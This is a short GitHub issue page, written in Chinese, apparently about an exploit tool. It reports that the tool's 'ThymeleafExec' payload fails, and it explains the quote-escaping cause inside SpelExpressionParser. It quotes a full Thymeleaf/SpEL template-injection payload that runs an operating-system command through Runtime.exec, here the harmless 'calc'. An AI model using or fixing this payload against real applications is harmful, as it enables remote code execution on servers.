-
Notifications
You must be signed in to change notification settings - Fork 166
Open
Description
ThymeleafExec输出的payload内容如下:
__*{ ''.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression("''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}__::.x在SpelExpressionParser中再次通过''.getClass()获取 Class 对象会报错
原因:SpelExpressionParser解析字符串时使用StringLiteral对象,初始化时会取出中间字符串将''替换为 ',导致最终的payload变为'.getClass()从而抛出异常
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels
